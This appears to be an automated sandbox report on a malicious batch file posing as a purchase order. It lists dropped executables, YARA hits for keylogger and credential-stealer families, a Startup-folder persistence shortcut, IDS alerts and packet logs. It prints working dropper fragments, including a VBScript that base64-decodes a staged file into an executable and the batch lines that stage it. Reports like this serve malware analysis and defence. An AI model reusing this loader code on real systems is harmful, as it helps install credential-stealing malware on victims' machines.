SHA-512:	726F64F72074C2D50091D8DB28BB0941AFCE4E7750840291DC49312D82BA57B3D0D1DD58F19E9B7564433A314EE9A2315A1D82203D39FB63F78DDC4DE36BE7D1
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Oupzhkpr.PIF"..IconIndex=961278..HotKey=22..

C:\Users\Public\OupzhkprF.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\x.exe
File Type:	DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15789
Entropy (8bit):	4.658965888116939
Encrypted:	false
SSDEEP:	384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
MD5:	CCE3C4AEE8C122DD8C44E64BD7884D83
SHA1:	C555C812A9145E2CBC66C7C64BA754B0C7528D6D
SHA-256:	4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
SHA-512:	EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
Malicious:	false
Preview:	.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rpkhzpuO.pif.log

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	520
Entropy (8bit):	5.355496254154943
Encrypted:	false
SSDEEP:	12:Q3La/hhkvoDLI4MWuCqDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLUE4K5E4KlKDE4KhKiKhk
MD5:	3C255C75EA6EB42410894C0D08A4E324
SHA1:	34B3512313867B269C545241CD502B960213293A
SHA-256:	116B1D2FF17BE7FE8C4B6D935688F81C40716AFCD995C76BFC2D1AB2AFA774A7
SHA-512:	41406D84C3FC3D5EFAD22277382D9ADC444D00FDE95C1B7B6BC17E80452CA5DE084D28D892BC0C6890FE64DC733790E26D0F62FE3477175DCCCAC777FDE5E7EC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379184608538005
Encrypted:	false
SSDEEP:	48:bWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//MPUyus:bLHyIFKL3IZ2KRH9Ougss
MD5:	ED589B424203CBD421A2E43D1BFA6DFC
SHA1:	7C707DDD0B05B396964BB70CAFED31F6E54660B3
SHA-256:	FAE87DB2990B36ABC27C2BAF4BC869F8B73EFDE806ADD150E705EF5C5D3A6E2C
SHA-512:	A334C5E28FB4A46F5C0A25A00EC3CDCBD7329B1456A9544445B774E1AF9220D150E76D1BDADCFA8679EB1F487E1F499A93797651124CD3C03CB2E1C257A8AC81
Malicious:	false
Preview:	@...e.................................&..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\Microsofts.exe

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	98816
Entropy (8bit):	5.666546286050177
Encrypted:	false
SSDEEP:	1536:qwa4JaIFveZKGAmwJVeDhp0dqnjErVf4UMR7pspNYZd:24Jj4ZKGHwJVeDDKqnj6bMDspNC
MD5:	F6B8018A27BCDBAA35778849B586D31B
SHA1:	81BDE9535B07E103F89F6AEABDB873D7E35816C2
SHA-256:	DDC6B2BD4382D1AE45BEE8F3C4BB19BD20933A55BDF5C2E76C8D6C46BC1516CE
SHA-512:	AA958D22952D27BAD1C0D3C9D08DDBF364274363D5359791B7B06A5D5D91A21F57E9C9E1079F3F95D7CE5828DCD3E79914FF2BD836F347B5734151D668D935DE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe, Author: Florian Roth
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 91%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....nH...............P..x............... ........@.. ....................................`.....................................S.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc..............................@..B........................H...................Z....................................................}.....is.......................~...F...@...7...%...m...$...~...~...d...r...a...G...o...n...~.....(....&..( .....s!........s"........s#........s$........s%........Z........o8...........&..(9....&........".......Vs....(B...t...........(C..."~....+."~....+."~....+."~....+."~....+.b.r...p.oa...(....(@....:.~.....o....&.:.(P....(Q......~3...,.~3...+.~1.....x...s....%.3...(.....*..(Y....(L...

C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe

Download File

Process:	C:\Users\Public\Libraries\rpkhzpuO.pif
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	4.910353963160109
Encrypted:	false
SSDEEP:	1536:ZPqWETbZazuYx3cOBB03Cmp3gGLWUTbUwjKX4C2b+d:ZizbZazunOKrp3gGhTbUwjI4C2Sd
MD5:	E91A1DB64F5262A633465A0AAFF7A0B0
SHA1:	396E954077D21E94B7C20F7AFA22A76C0ED522D0
SHA-256:	F19763B48B2D2CC92E61127DD0B29760A1C630F03AD7F5055FD1ED9C7D439428
SHA-512:	227D7DAD569D77EF84326E905B7726C722CEFF331246DE4F5CF84428B9721F8B2732A31401DF6A8CEF7513BCD693417D74CDD65D54E43C710D44D1726F14B0C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............n)... ...@....@.. ....................................`..................................)..W....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P)......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dxvq3mua.ebl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb133yyz.rtw.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaueww4n.cjl.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spg1y3eo.use.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\x

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.572584352781534
Encrypted:	false
SSDEEP:	384:ND+pvzeK1scVxBDyFPl6v63jZyTgmpHgTvJk2vLQzjqSlfok92KpvFCI5l4YXFdK:V+ld1scVxwz3jkpKkScHqkf3iIcmFqt
MD5:	77F96223CF3BA1FA0F812F9BC247E052
SHA1:	21B9F79964C76FFCF08AD4D49FAC190B78D272DC
SHA-256:	8F236C326D3C623697657A34CA9E98315B77A59EEEF1525CAB018E213100E8F4
SHA-512:	0153A63AFC1538D139628EDDB5F4428BAFEB4EE186F49E8078C651DE001C7471641B3DE0CACF5B07A76B28F6718A33C87A0735D8221FF9A6AFECBCD9154CFAC1
Malicious:	true
Preview:	TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4g..dW5kZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABMAQ..kAGV5CKgAAAAAAAAAA4ACOgQsBAhkAiAUAAI4OAAAAAABslwUAABAAAACgBQAAAEAAABAA..AAACAAAEAAAAAAAAAAQAAAAAAAAAALAUAAAEAAAAAAAAAgAAAAAAEAAAQAAAAAAQAAAQAA..AAAAAAEAAAAAAAAAAAAAAAAAAGADIlAAAAwAYAAOgNAAAAAAAAAAAAAAAAAAAAAAAAUAYA..pGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABgAYAAAAAAAAAAAAAAAAAAAAAAAAAO..QGBgDMBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAC4fwUAABAAAACABQAA..BAAAAAAAAAAAAAAAAAAAIAAAYC5pdGV4dAAAtAcAAACQBQAACAAAAIQFAAAAAAAAAAAAAA..AAACAAAGAuZGF0YQAAANQbAAAAoAUAABwAAACMBQAAAAAAAAAAAAAAAABAAADALmJzcwAA..AADENgAAAMAFAAAAAAAAqAUAAAAAAAAAAAAAAAAAAAAAwC5pZGF0YQAAMiUAAAAABgAAJg..AAAKgFAAAAAAAAAAAAAAAAAEAAAMAudGxzAAAAADQAAAAAMAYAAAAAAADOBQAAAA

C:\Users\user\AppData\Local\Temp\x.exe

Download File

Process:	C:\Windows\System32\cscript.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1317376
Entropy (8bit):	6.092693903786427
Encrypted:	false
SSDEEP:	24576:hULl20LaVZ0emwYGqo1FJ89BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBx:hU1X1orJEBBBBBBBBBBBBBBBBBBBBBBB
MD5:	E337ECD5680D121D6DD649956DC716CA
SHA1:	198EAA7905760AA3FEE7D7329EC6354096C6BA63
SHA-256:	80AF0DDC803BB3CD14029CD9CEE39D81B15B21FC126912EFBDD7824BA740669B
SHA-512:	75783A2850F451E4733F7CFBBF1A9451041C040BB64B7DF7AA19ABE2FFFDDF45291C4706C5F606EE6AD168779B25C0D88DE2481FC563DAB1531BFD907CC20C92
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................l.............@..............................................@..............................2%...........................P...a...........................@.......................................................text............................... ..`.itext.............................. ..`.data...............................@....bss.....6...............................idata..2%.......&..................@....tls....4....0...........................rdata.......@......................@..@.reloc...a...P...b..................@..B.rsrc................2..............@..@....................................@..@................................................................................................

C:\Users\user\AppData\Local\Temp\x.vbs

Download File

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	380
Entropy (8bit):	5.126074554208653
Encrypted:	false
SSDEEP:	6:jpz7yVHPxORKm6JgCPmu7jjs9lVHEr6Jxlw6mvHFAF1GjyH4BZIkv:NZOmG7jU2r6JAiTrYZnv
MD5:	EC9A2FB69A379D913A4E0A953CD3B97C
SHA1:	A0303ED9F787C042071A1286BBA43A5BBDD0679E
SHA-256:	CF8268D158BB819EF158FF6CCBED64D5E379148A0ADB1F73A082A01D56D0286B
SHA-512:	FEF8E24A680991046BD7DACD6079C7E48C3031FE46CAAE722EA93797EE16C052073BA97959E992EA71AC7AB72FBCEDAA5CF4A410657AAC4C10AD24DE6935E9D6
Malicious:	true
Preview:	Set f=CreateObject("Scripting.FileSystemObject")'v..Set p=f.GetSpecialFolder(2)'v..Set i=f.OpenTextFile(p+"\x",1)'v..c=i.ReadAll()'v..i.Close'v..Set x=CreateObject("Msxml2.DOMDocument")'v..Set o=x.CreateElement("base64")'v..o.dataType="bin.base64"'v..o.text=c'v..Set b=CreateObject("ADODB.Stream")'v..b.Type=1'v..b.Open'v..b.Write o.NodeTypedValue'v..b.SaveToFile p+"\x.exe",2'v..

C:\Users\user\AppData\Roaming\ACCApi\apihost.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	665670656
Entropy (8bit):	7.999999262382833
Encrypted:	true
SSDEEP:
MD5:	10751439BD30D4B3066935F2DFFDC3C7
SHA1:	1D49BF5717E3330A21F054A5C151A877F0B602E1
SHA-256:	5BC477921A5678551A378E244C6B0544D0DDAA27FCDCA0E3CFCD54B53FCF4BA8
SHA-512:	B945B4E58FA48745EA8AB089F32FAFE98F966F0602FD0BC519B138D8C00F8D2606FCED0A3CBDCFDD5D2B2BA59B457697DD320972D4E8EA7376B2C2B53371F415
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0.............n)... ...@....@.. ....................................`..................................)..W....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P)......H........>...............=..p...........................................".(!......s3...z...s..........(.....Z~ ...oK...~....(!.....(5....&.(!.....".......".(u....Vs....(v...t.........&..(.....Br...p(.....(....sL....).......0...........r...p....s........ ................. ........8[...........o.........................% ....X....o....a.o.............o....]......... ....X............o....?....(........o....o ...............8........*....0..........r)..p(....("....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\apihost.exe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Thu Jan 9 17:09:56 2025, mtime=Thu Jan 9 17:09:56 2025, atime=Thu Jan 9 17:09:56 2025, length=70656, window=
Category:	dropped
Size (bytes):	1784
Entropy (8bit):	3.519031277377029
Encrypted:	false
SSDEEP:	24:8uvbqDklXUPX3PyqfAateVoFG9xR+O4ZvPqRzBm:8EbqDkl4X36efuR+ZXqRl
MD5:	27D7693300B294B6EF86370C3773184D
SHA1:	F21EC7099EE9804807FB0C8DAD1B2F0EC7E37DDB
SHA-256:	E85103EAA8EA660957B913ECE26991EB93145DB69BF0C08FDBA69E8971A61445
SHA-512:	AF297E6609FD0D25F88E3C7E328E662A9E86CCC48E09CBF6F9A09A46FACED3A1D3EF5C2CBC94981F95AAE58F90DCB45D16227893F297B080F09532E61104E1C2
Malicious:	false
Preview:	L..................F.@.. .....w..b....x..b....x..b............................:..DG..Yr?.D..U..k0.&...&.......$..S...w"k..b..l....b......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2)Z*............................^.A.p.p.D.a.t.a...B.V.1.....)Z(...Roaming.@......EW<2)Z(...../......................`..R.o.a.m.i.n.g.....T.1.....)Z=...ACCApi..>......)Z=.)Z=...............................A.C.C.A.p.i.....b.2.....)Z=. .apihost.exe.H......)Z=.)Z=...........................^A..a.p.i.h.o.s.t...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Roaming\ACCApi\apihost.exe....A.c.c.S.y.s.!.....\.....\.....\.....\.....\.A.C.C.A.p.i.\.a.p.i.h.o.s.t...e.x.e.6.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.T.r.a.d.i.n.g._.A.I.B.o.t...e.x.e.........%USERPROFILE%\AppData\Local\Temp\Trading_AIBot.exe...................................................................................................................

Static File Info

General

File type:	DOS batch file, ASCII text, with CRLF line terminators
Entropy (8bit):	5.603636433588063
TrID:
File name:	PO#3_RKG367.bat
File size:	2'158'506 bytes
MD5:	deaa9cb6ee189b95d1ad718df32dac56
SHA1:	ba94e1e97609cfa1bd102fe1087fc714875c6c25
SHA256:	8f721d0dc987c60cb16a14ad166eab606b1b9401d6563241eb8ed359c24ad201
SHA512:	02908f9c7ce3a1d53af14de4465744585b23d31e99e08d2a64030f60eac5da5505c93e5fe4de91aeb77b85377d57b047ed8a5d5262fd08dcffa30943b0bb88e1
SSDEEP:	49152:dCPDyxXvtkfpoX/xXGkA++z8+j+Dl+T++evHN+C2+1r+E++eaU++p+++7C+z+++q:n
TLSH:	E4A5F9377082095A9A0F49990E2878B53C36BFE3486459B7FD3E2F7A12C5BD1392C179
File Content Preview:	@Echo off..echo TVpQAAIAAAAEAA8A//8AALgAAAAAAAAAQAAaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>%tmp%\x..echo AAAAAAAAAAAAEAALoQAA4ftAnNIbgBTM0hkJBUaGlzIHByb2dyYW0gbXVzdCBiZSBydW4g>>%tmp%\x..echo dW5kZXIgV2luMzINCiQ3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T19:09:49.222732+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49813	41.185.8.252	443	TCP
2025-01-09T19:09:58.095403+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49860	158.101.44.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 19:09:48.312793970 CET	49812	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.312827110 CET	443	49812	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:48.312908888 CET	49812	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.313118935 CET	49812	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.313158989 CET	443	49812	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:48.313222885 CET	49812	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.337652922 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.337711096 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:48.337789059 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.341170073 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:48.341195107 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.222655058 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.222732067 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.224689007 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.224694014 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.224983931 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.272133112 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.273819923 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.315371037 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.743685961 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.743714094 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.743722916 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.743787050 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.743809938 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.797147036 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.955105066 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955116987 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955159903 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955184937 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955188990 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.955198050 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955224037 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:49.955239058 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.955262899 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:49.955282927 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.002145052 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.002160072 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.002208948 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.002249002 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.002264977 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.002296925 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.002315998 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.166098118 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.166122913 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.166188955 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.166210890 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.166254997 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.166279078 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.167912960 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.167941093 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.168019056 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.168026924 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.169545889 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.169728041 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.169745922 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.169804096 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.169811964 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.171519041 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.214920044 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.214947939 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.215063095 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.215076923 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.215132952 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.532114983 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.532191992 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.532265902 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.532290936 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.532309055 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.532335043 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.532669067 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.532723904 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.533585072 CET	443	49813	41.185.8.252	192.168.2.6
Jan 9, 2025 19:09:50.533643007 CET	49813	443	192.168.2.6	41.185.8.252
Jan 9, 2025 19:09:50.534487963 CET	443	49813	41.185.8.252	192.168.2.6
